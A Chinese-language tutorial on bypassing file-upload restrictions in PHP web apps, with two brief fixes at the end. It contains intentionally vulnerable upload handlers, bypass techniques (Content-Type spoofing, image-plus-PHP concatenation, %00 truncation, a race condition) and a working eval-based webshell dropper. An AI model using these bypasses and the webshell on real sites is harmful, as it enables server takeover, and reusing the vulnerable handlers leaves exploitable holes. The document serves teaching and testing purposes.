檔案上傳限制條件(JS、字尾、檔名、型別、截斷)繞過及修復建議
在現代網際網路的Web應用程式中,上傳檔案是一 種常見的功能,因為它有助於提高業務效率,比如企業的OA系統,允許使用者上傳圖片、視訊、頭像和許多其他型別的檔案。然而向用戶提供的功能越多,Web應用受到攻擊的風險就越大,如果Web
應用存在檔案上傳漏洞,那麼惡意使用者就可以利用檔案上傳漏洞將可執行指令碼程式上傳到伺服器中,獲得網站的許可權,或者進一步危害伺服器。
上傳檔案時,如果服務端程式碼末對客戶端上傳的檔案進行嚴格的驗證和過濾,就容易造成可以上傳任意檔案的情況,包括上傳指令碼檔案(asp、 aspx、 php、 jsp等格式的檔案)。
非法使用者可以利用上傳的惡意指令碼檔案控制整個網站,甚至控制伺服器。這個惡意的指令碼檔案,又被稱為WebShell,也可將WebShel指令碼稱為一種網頁後門,WebShel指令碼具有非常強大的功能,比如檢視伺服器目錄、伺服器中的檔案,執行系
統命令等。
JS檢測繞過攻擊
JS檢測繞過上傳漏洞常見於使用者選擇檔案上傳的場景,如果上傳檔案的字尾不被允許,則會彈框告知,此時上傳檔案的資料包並沒有傳送到服務端,只是在客戶端瀏覽器使用JavaScript對資料包進行檢測。
這時有兩種方法可以繞過客戶端JavaScript的檢測。
- 使用瀏覽器的外掛,刪除檢測檔案字尾的JS程式碼,然後上傳檔案即可繞過。
- 首先把需要上傳檔案的字尾改成允許上傳的,如jpg、png等,繞過JS的檢測,再抓包,把字尾名改成可執行檔案的字尾即可上傳成功,如下圖所示。
客戶端上傳檔案的HTML程式碼如下所示,在選擇檔案時,會呼叫JS的selectFile函式,函式的作用是先將檔名轉換為小寫,然後通過substr獲取檔名最後一個點號後面的字尾(包括點號)。如果字尾不是"jpg" ,則會彈框提示“請選擇
jpg格式的照片上傳”。
<html> <head> <meta charset="utf-8"> <title>JS檢查檔案字尾</title> </head> <body> <script type="text/javascript"> function selectFile(fnUpload) { var filename = fnUpload.value; var mime = filename.toLowerCase().substr(filename.lastIndexOf(".")); if(mime!=".jpg") { alert("請選擇jpg格式的照片上傳"); fnUpload.outerHTML=fnUpload.outerHTML; } } </script> <form action="upload.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" onchange="selectFile(this)" /> <br /> <input type="submit" name="submit" value="submit" /> </form> </body> </html>
服務端處理上傳檔案的程式碼如下所示。如果上傳檔案沒出錯,再通過file_exists判斷在upload目錄下檔案是否已存在,不存在的話就通過move_uploaded file將檔案儲存到upload目錄。此PHP程式碼中沒有對檔案字尾做任何
判斷,所以只需要繞過前端JS的校驗就可以上傳WebShell.
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
檔名字尾繞過攻擊
檔案字尾繞過攻擊是服務端程式碼中限制了某些字尾的檔案不允許上傳,但是有些Apache是允許解析其他檔案字尾的,例如在httpd.conf中, 如果配置有如下程式碼,則能夠解析php和phtm|檔案。
AddType application/x-httpd php.php.phtml
所以,可以上傳一個字尾為phtml的WebShell, 在Apache的解析順序中,是從右到左開始解析檔案字尾的,如果最右側的副檔名不可識別,就繼續往左判斷,直到遇到可以解析的檔案字尾為止,所以如果上傳的檔名類似1.php.xxxx,因為字尾xxxx不可以解析,所以向左解析字尾php。
服務端處理上傳檔案的程式碼如下所示。通過函式pathinfo () 獲取檔案字尾,將字尾轉換為小寫後,判斷是不是"php" ,如果上傳檔案的字尾是php,則不允許上傳,所以此處可以通過利用Apache解析順序或上傳phtml等字尾的檔案繞過該程式碼限制。
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
$info=pathinfo($_FILES["file"]["name"]);
$ext=$info['extension'];//得到副檔名
if (strtolower($ext) == "php") {
exit("不允許的字尾名");
}
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
檔案型別繞過攻擊
在客戶端上傳檔案時,通過Burp Suite抓取資料包,當上傳一個php格式的檔案時,可以看到資料包中Content-Type的值是application/octet stream,而上傳jpg格式的檔案時,資料包中Content Type的值是image/jpeg。
如果服務端程式碼是通過Content-Type的值來判斷檔案的型別,那麼就存在被繞過的可能,因為Content-Type的值是通過客戶端傳遞的,是可以任意修改的。所以當上傳一個php檔案時, 在Burp Suite中將Content-Type修改為image/jpeg,就可以繞過服務端的檢測。
服務端處理上傳檔案的程式碼如下所示,服務端程式碼判斷$_FILES["file"]["type"]是不是圖片的格式(image/gif, image/jpeg, image/pjpeg),如果不是,則不允許上傳該檔案,而$_FILES["file"]["type"]是客戶端請求資料包中的
Content-Type,所以可以通過修改Content-Type的值繞過該程式碼限制。
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
if (($_FILES["file"]["type"] != "image/gif") && ($_FILES["file"]["type"] != "image/jpeg")
&& ($_FILES["file"]["type"] != "image/pjpeg")){
exit($_FILES["file"]["type"]);
exit("不允許的格式");
}
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
在PHP中還存在一種相似的檔案上傳漏洞,PHP函式getimagesize ()可以獲取圖片的寬、高等資訊,如果上傳的不是圖片檔案,那麼getimagesize()就獲取不到資訊,則不允許上傳,程式碼如下所示。
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
if(!getimagesize($_FILES["file"]["tmp_name"])){
exit("不允許的檔案");
}
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
但是,我們可以將一個圖片和一 個WebShell合併為一個檔案,例如使用以下命令。
cat image.png webslell.php > image.php
此時,使用getimagesize () 就可以獲取圖片資訊,且WebShell的字尾是php,也能被Apache解析為指令碼檔案,通過這種方式就可以繞過getimagesize()的限制。
檔案截斷繞過攻擊
截斷型別:PHP %00截斷。
截斷原理:由於00代表結束符,所以會把00後面的所有字元刪除。
截斷條件: PHP版本小於5.3.4,PHP的magic_quotes_gpc為OFF狀態。
如圖所示,在上傳檔案時,服務端將GET引數jieduan的內容作為上傳後文件名的第一部分,然後將按時間生成的圖片檔名作為上傳後文件名的第二部分。
修改引數jieduan為1.php%00.jpg
,檔案被儲存到伺服器時,%00會把"jpg"和按時間生成的圖片檔名全部截斷,那麼檔名就剩下1.php,因此成功上傳了WebShel指令碼。
服務端處理上傳檔案的程式碼如下所示,程式使用substr獲取檔案的字尾,然後判斷後綴是否是flv、swf、mp3、mp4、3gp、zip、rar、gif、jpg、png、bmp中的一種,如果不是,則不允許上傳該檔案。但是在儲存的路徑中有$_REQUEST
['jieduan'],那麼此處可以利用00截斷嘗試繞過服務端限制。
<?php
error_reporting(0);
$ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
$file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
//exit($_FILES['file']['name']);
if(in_array($file_ext,$ext_arr))
{
$tempFile = $_FILES['file']['tmp_name'];
// 這句話的$_REQUEST['jieduan']造成可以利用截斷上傳
$targetPath = "upload/".$_REQUEST['jieduan'].rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($tempFile,$targetPath))
{
echo '上傳成功'.'<br>';
echo '路徑:'.$targetPath;
}
else
{
echo("上傳失敗");
}
}
else
{
echo("不允許的字尾");
}
?>
在多數情況下,截斷繞過都是用在檔名後面加上HEX形式的%00來測試,例如filename='1.php%00jpg',但是由於在php中,$ FILES['file']['name']在得到檔名時,%00之後的內容已經被截斷了,所以$_FILES['file']['name'] 得到的字尾是php,而不是php%00.jpg, 因而此時不能通過if(in_array($file_ext, $ext_arr))的檢查。
競爭條件攻擊
一些網站上傳檔案的邏輯是先允許上傳任意檔案,然後檢查上傳的檔案是否包含WebShel指令碼,如果包含則刪除該檔案。這裡存在的問題是檔案上傳成功後和刪除檔案之間存在一個短的時間差(因為要執行檢查檔案和刪除檔案的操作),攻擊者就可以利用這個時間差完成競爭條件的上傳漏洞攻擊。攻擊者先上傳一個WebShel指令碼10.php, 10.php的內容是生成一個新的WebShelI指令碼shell.php, 10.php的程式碼如下所示。
<?php
fputs (fopen ('../shell.php', 'w'),'<?php @eval ($_POST[a]) ?>') ;
?>
當10.php上傳成功後,客戶端立即訪問10.php,則會在服務端當前目錄下自動生成shell.php,這時攻擊者就利用時間差完成了WebShell的上傳。
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
//為了說明,這裡直接讓程式sleep 10s。
sleep("10");
unlink("upload/" . $_FILES["file"]["name"]);
}
}
?>
程式獲取檔案$_FILES ["file"] ["name"] 的程式碼如上,先判斷upload目錄下是否存在相同的檔案,如果不存在,則直接上傳檔案,在判斷檔案是否為WebShell時,還有刪除WebShell時,都是需要時間來執行的,如果我們能在刪除檔案
前就訪問該WebShell,那麼會建立一個新的WebShell,從而繞過該程式碼限制。
檔案上傳修復建議
- 通過白名單的方式判斷檔案字尾是否合法。
- 對上傳後的檔案進行重新命名,例如rand(10, 99).date("YmdHis")."jpg"。